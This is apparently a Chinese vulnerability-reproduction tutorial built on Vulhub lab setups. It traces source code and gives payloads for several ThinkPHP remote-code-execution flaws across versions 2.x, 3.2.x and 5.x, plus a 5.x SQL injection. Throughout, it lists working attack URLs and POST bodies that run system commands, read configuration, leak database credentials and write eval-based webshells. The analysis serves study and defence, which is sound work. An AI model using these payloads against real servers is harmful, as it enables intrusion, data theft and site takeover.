ThinkPHP 2.x版本中,使用preg_replace
的/e模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
ThinkPHP 2.x
ThinkPHP 2.1:https://vulhub.org/#/environments/thinkphp/2-rce/
存在漏洞的文件:/ThinkPHP/Lib/Think/Util/Dispatcher.class.php
// line 87
if(!self::routerCheck()){ // 检测路由规则 如果没有则按默认规则调度URL
$paths = explode($depr,trim($_SERVER['PATH_INFO'],'/'));
$var = array();
if (C('APP_GROUP_LIST') && !isset($_GET[C('VAR_GROUP')])){
$var[C('VAR_GROUP')] = in_array(strtolower($paths[0]),explode(',',strtolower(C('APP_GROUP_LIST'))))? array_shift($paths) : '';
if(C('APP_GROUP_DENY') && in_array(strtolower($var[C('VAR_GROUP')]),explode(',',strtolower(C('APP_GROUP_DENY'))))) {
// 禁止直接访问分组
exit;
}
}
if(!isset($_GET[C('VAR_MODULE')])) {// 还没有定义模块名称
$var[C('VAR_MODULE')] = array_shift($paths);
}
$var[C('VAR_ACTION')] = array_shift($paths);
// 解析剩余的URL参数
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
$_GET = array_merge($var,$_GET);
}
检测了路由规则,如果没有则按默认规则调度URL,然后解析剩余的URL参数。
1、 preg_replace( 搜索模式, 替换字符串, 搜索目标 );
,e模式的正则支持执行代码,有了它可以执行第二个参数的命令(仅仅是一个php表达式,也就是不能有分号),第一个参数需要再第三个参数中有匹配,否则会返回第三个参数而不执行命令。
举个栗子:
$a = '123qwe';
$b = preg_replace('/\d/e', "print('This is a test!');", $a); // \d匹配数字
echo $b;
?>
执行结果(若把$a中的数字删去导致匹配不到,就不会执行print了):
2、正则表达式的搜索模式:(\w+)/([^/])
是取每两个参数,$var['\1']="\2";
是对数组的操作,将之前第一个值作为新数组的键,将第二个值作为新数组的值。
例:
$var = array();
$s = 'a/b/c/d/e/f/g';
preg_replace("/(\w+)\/([^\/])/e", '$var[\'\\1\']="\\2";', $s);
print_r($var);
?>
执行结果(每两个一组,前者作为键,后者作为值,不足两个舍去):
3、回到出现漏洞的代码中,数组$var
在路径存在模块和动作时,会去除掉前两个值,而数组$var
来自于 $paths
也就是路径。 为了让我们构造的语句得以执行,需要将语句作为数组的值,如:
/index.php?s=a/b/c/d/e/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}
/index.php?s=a/b/c/${phpinfo()}/c/d/e/f
注:
${}
是可以构造一个变量的,如果里面写的是函数则里可以执行函数http://serverName/index.php(或者其它应用入口文件)/模块/控制器/操作/[参数名/参数值...]
如果不支持PATHINFO的服务器可以使用兼容模式访问如下:
http://serverName/index.php(或者其它应用入口文件)?s=/模块/控制器/操作/[参数名/参数值...]
构造payload
(注意不能有分号):
http://192.168.1.113:8080/index.php?s=/index/index/name/${phpinfo()}
构造payload
:
http://192.168.1.113:8080/index.php?s=/index/index/name/${eval($_REQUEST[8])}&&8=phpinfo();
由于框架错误地处理了控制器名称,因此如果网站未启用强制路由(默认设置),框架对传入的路由参数过滤不严格,导致攻击者可以操作非预期的控制器类来远程执行代码。其中不同版本 payload
需稍作调整:
5.1.x:
?s=index/\think\Request/input&filter[]=system&data=pwd
?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>
?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>
?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
5.0.x:
?s=index/think\config/get&name=database.username // 获取配置信息
?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件
?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件
?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id // 执行命令
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1 // 执行phpinfo();
?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php eval($_REQUEST[8]);?> // 写入shell
ThinkPHP 5.0.5-5.0.22
ThinkPHP 5.1.0-5.1.30
ThinkPHP 5.0.20:https://vulhub.org/#/environments/thinkphp/5-rce/
首先,默认情况下安装的ThinkPHP是没有开启强制路由选项的,而且默认开启路由兼容模式:
// /application/config.php line 93:
// 路由配置文件(支持配置多个)
'route_config_file' => ['route'],
// 是否强制使用路由
'url_route_must' => false,
由于没有开启强制路由,所以我们可以使用路由兼容模式s参数,而框架对控制器名没有进行足够的检测,说明可能可以调用任意的控制器,那么我们可以试着利用http://serverName/index.php?s=/模块/控制器/操作/
来测试。而所有用户的参数都会经过Request
类的input
方法处理,该方法会调用filterValue
方法,而filterValue
方法中调用了call_user_func()
(把第一个参数作作为回调函数调用,其余参数是回调函数的参数),那么就尝试来利用这个方法.。访问如下链接:
http://192.168.1.113:8080/index.php?s=index/think\config/get&name=database.username // 获取配置信息
会发现可以执行命令。
由于Windows的原因,有一些payload在Windows主机上是不可利用的,详细分析流程和兼容多平台的payload可以参考这篇文章:https://xz.aliyun.com/t/3570
构造payload:
http://192.168.1.113:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
构造payload,写入shell:
http://192.168.1.113:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=
在实现框架中的核心类Requests的method方法实现了表单请求类型伪装,默认为$_POST['_method']
变量,却没有对$_POST['_method']
属性进行严格校验,可以通过变量覆盖掉Requets类的属性并结合框架特性实现对任意函数的调用达到任意代码执行的效果。
ThinkPHP 5.0.x ~ 5.0.23
ThinkPHP 5.1.x ~ 5.1.31
ThinkPHP 5.2.0beta1
ThinkPHP 5.0.23:https://vulhub.org/#/environments/thinkphp/5.0.23-rce/
我们知道可以通过http://localhost/public/index.php?s=index
的方式通过s参数传递具体的路由,根据入口文件可以发现调用了start.php
:
// index.php line 15
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';
查看start.php
,执行了App类中的run()
方法:
// start.php line 15
// 1. 加载基础文件
require __DIR__ . '/base.php';
// 2. 执行应用
App::run()->send();
继续跟进run()
方法,部分代码如下:
//App.php line 111
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
/*关键代码*/ $dispatch = self::routeCheck($request, $config);
}
// 记录当前调度信息
$request->dispatch($dispatch);
// 记录路由和请求信息
if (self::$debug) {
Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
/*关键代码*/ Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
}
// 监听 app_begin
Hook::listen('app_begin', $dispatch);
// 请求缓存检查
$request->cache(
$config['request_cache'],
$config['request_cache_expire'],
$config['request_cache_except']
);
/*关键代码*/ $data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
$data = $exception->getResponse();
}
可以看到在执行self::exec($dispatch, $config)
之前,$dispatch
的值是通过$dispatch = self::routeCheck($request, $config)
设置的,这时候如果debug
模式开启,就会调用$request->param()
,也就是下面exec()
中会调用到的函数,经过下面分析就能发现,在debug
模式开启时就能直接触发漏洞,原理是一样的。
再看exec()
方法:
// App.php line 445
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
case 'redirect': // 重定向跳转
$data = Response::create($dispatch['url'], 'redirect')
->code($dispatch['status']);
break;
case 'module': // 模块/控制器/操作
$data = self::module(
$dispatch['module'],
$config,
isset($dispatch['convert']) ? $dispatch['convert'] : null
);
break;
case 'controller': // 执行控制器操作
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = Loader::action(
$dispatch['controller'],
$vars,
$config['url_controller_layer'],
$config['controller_suffix']
);
break;
/*关键代码*/ case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
case 'function': // 闭包
$data = self::invokeFunction($dispatch['function']);
break;
case 'response': // Response 实例
$data = $dispatch['response'];
break;
default:
throw new \InvalidArgumentException('dispatch type not support');
}
return $data;
}
exec()
方法根据$dispatch
的值选择进入不同的分支,当进入method
分支时,调用Request::instance()->param()
方法,跟进param()
,看到调用了Request
类的method()
方法 :
// Request.php line 634
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
/*关键代码*/ $method = $this->method(true);
// 自动获取请求变量
switch ($method) {
case 'POST':
$vars = $this->post(false);
break;
case 'PUT':
case 'DELETE':
case 'PATCH':
$vars = $this->put(false);
break;
default:
$vars = [];
}
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
}
if (true === $name) {
// 获取包含文件上传信息的数组
$file = $this->file();
$data = is_array($file) ? array_merge($this->param, $file) : $this->param;
return $this->input($data, '', $default, $filter);
}
return $this->input($this->param, $name, $default, $filter);
}
跟进method
方法,通过官方的更新文档可知该函数是被改进的内容之一,在这个方法中,如果method
等于true
,则调用$this->server()
方法:
// Request.php line 518
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
/*关键代码*/ return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST);
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
跟进server()
方法,其中调用了input()
方法:
// Request.php line 862
public function server($name = '', $default = null, $filter = '')
{
if (empty($this->server)) {
$this->server = $_SERVER;
}
if (is_array($name)) {
return $this->server = array_merge($this->server, $name);
}
/*关键代码*/return $this->input($this->server, false === $name ? false : strtoupper($name), $default, $filter);
}
然后调用input()
方法中又调用了filterValue()
方法:
// Request.php line 1030
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
/*关键代码*/ $this->filterValue($data, $name, $filter);
}
if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
最后filterValue
中调用了call_user_func()
方法,如果两个参数均可控,即$filter
和$value
,则会造成命令执行:
// Request.php line 1082
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
/*关键代码*/ $value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
if (false !== strpos($filter, '/')) {
// 正则过滤
if (!preg_match($filter, $value)) {
// 匹配不成功返回默认值
$value = $default;
break;
}
} elseif (!empty($filter)) {
// filter函数不存在时, 则使用filter_var进行过滤
// filter为非整形值时, 调用filter_id取得过滤id
$value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
if (false === $value) {
$value = $default;
break;
}
}
}
}
return $this->filterExp($value);
}
整体流程就是:{main}()
-> require()
-> App::run()
-> App::exec()
-> Request->param()
-> Request-> method()
-> Request-> server()
-> Request->input()
-> Request-> filterValue()
查看$filter
参数来自于 $filter = $this->getFilter($filter, $default);
,而getFilter()
中设置了$filter = $filter ?: $this->filter;
即由$this->filter
决定;
$value
为第一个参数$data
,即为传入数组的值,由$this->server
决定。
$method
变量是$this->method
,其同等于POST方法中的的method
参数值,由于$this->method
可控,导致可以调用_contruct()
覆盖Request
类的filter
字段。
访问靶场页面:
构造payload通过post提交,成功触发漏洞:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
通过echo命令写入文件:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' >shell.php
传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。
ThinkPHP < 5.1.23
该漏洞的形成最关键一点是需要开启debug模式
ThinkPHP 5.0.9:https://vulhub.org/#/environments/thinkphp/in-sqlinjection/
查看源码/application/index/controller/Index.php
:
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
foreach($result as $row) {
echo "Hello, {$row['username']}
";
}
}
}
可以看到input()
函数中定义了$ids
的类型是数组,而$ids
又被User
类中的where()
函数调用,跟进后找到/thinkphp/library/think/db/Builder.php
文件:
protected function parseWhere($where, $options)
{
$whereStr = $this->buildWhere($where, $options);
if (!empty($options['soft_delete'])) {
// 附加软删除条件
list($field, $condition) = $options['soft_delete'];
$binds = $this->query->getFieldsBind($options);
$whereStr = $whereStr ? '( ' . $whereStr . ' ) AND ' : '';
$whereStr = $whereStr . $this->parseWhereItem($field, $condition, '', $options, $binds);
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}
接着找到定义'in'
的位置:
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
这段代码当引入了in 或者 not in的时候遍历value的key和value。而key在绑定编译指令的时候又没有安全处理,所以导致了在预编译的时候SQL异常。
构造payload:
index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
Windows可以用Navicat
工具
linux可以使用mysql -h 目标ip -u 用户名 -p 密码
但是一般不会开启远程连接权限,默认root用户也只限本地连接
该漏洞是在版本中,业务代码中如果模板执行方法指定的第一个参数可控,则可导致模板文件路径变量被覆盖为携带代码的文件路径,产生任意文件,执行任意代码。
ThinkPHP 3.2.x
ThinkPHP3.2.3完整版 Windows 2008R2:http://www.thinkphp.cn/down/610.html
在ThinkPHP 3.2.3框架的程序中,如果在模板中输出变量,需要在控制器中把变量传递给摸板系统,提供了对摸板变量的赋值方法,该版本漏洞是使用该系统提供的 assign 方法对摸板变量赋值,在 IndexController.class.php 中的 index 方法中调用 assign 方法并传入参数。
下面是漏洞的演示代码,其中 assign 方法中的第一个参数可控(测试时需要将代码放在对应位置):
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index($value=''){
$this->assign($value);
$this->display();
}
}
踩坑:修改php文件时不能用记事本编辑代码 ,否则可能会出现莫名的错误,需要使用PHP专用的编辑器修改。
因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:
\Application\Home\View\Index\index.html
访问 index.php 抓包,构造 payload:?m=-->=phpinfo();?>
debug 模式开启的 payload 稍有不同:?m=Home&c=Index&a=index&test=-->=phpinfo();?>
开启 / 关闭调试模式在项目入口文件中添加常量APP_DEBUG定义:
define('APP_DEBUG',True); // 开启调试模式
写入攻击代码到日志中,错误请求系统报错:
日志文件路径(这里是默认配置的log文件路径,ThinkPHP的日志路径和日期相关):
\Application\Runtime\Logs\Common\21_07_18.log
查看日志文件内容:
注意这里不能直接在 url 中构造 payload,因为进行url编码后传给服务器,日志会成这样:
构造攻击请求,包含上述文件:
?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_18.log
程序执行流程如下:
assign可控入口 => assign方法赋值给$this->tVar => 进入display方法 => fetch方法 => hook::listen到exec => Behavior\ParseTemplateBehavior类中run => Think\Template类中fetch => Storage::load中变量覆盖,文件包含 => RCE
详细分析:https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ(ThinkPHP3.2.x RCE漏洞通报)
既然可以包含文件执行php代码了,但是由于不是.php文件,蚁剑无法连接,那就尝试写入一个新的php文件:
使用file_put_contents()
函数,写入一个新的文件:
最开始构造的payload为?m=-->=file_put_contents(shell.php,'=eval($_REQUEST[8]);?>');?>
,但是新生成的文件名却少了一个.
:
猜测可能是读取.log
文件中执行php语句时过滤了吧,那就将文件名写入变量尝试:
?m=--><?=$b='shell3.php';file_put_contents($b,'=eval($_REQUEST[8]);?>');?>
?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/21_07_18.log
这里也能看出二者的区别了:
这时候文件就已经成功写入了:
访问验证一下:
换一种方法,执行echo命令写入文件,先构造一句话木马(这里测试连接密码不能是数字):?m=-->=123;eval($_REQUEST['c']);?>
包含,改为POST包并传入参数:
echo 命令直接写入就可以了,这里的^
用于是windows中转义尖括号的,就是不一定有直接写入的权限,如果存在内容检测可以将内容编码再使用certutil -decode 源文件 目标文件
将写入文件解码到新文件:
访问验证一下:
参考链接:
https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ(ThinkPHP3.2.x RCE漏洞通报)
https://www.cnblogs.com/g0udan/p/12252383.html(ThinkPHP 2.x 任意代码执行漏洞 复现与分析)
https://xz.aliyun.com/t/3570(thinkphp 5.x全版本任意代码执行分析全记录)
http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg(THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞分析)
https://www.jianshu.com/p/2ec3d469bb5c(ThinkPHP5 SQL注入漏洞 && 敏感信息泄露——vulhub漏洞复现)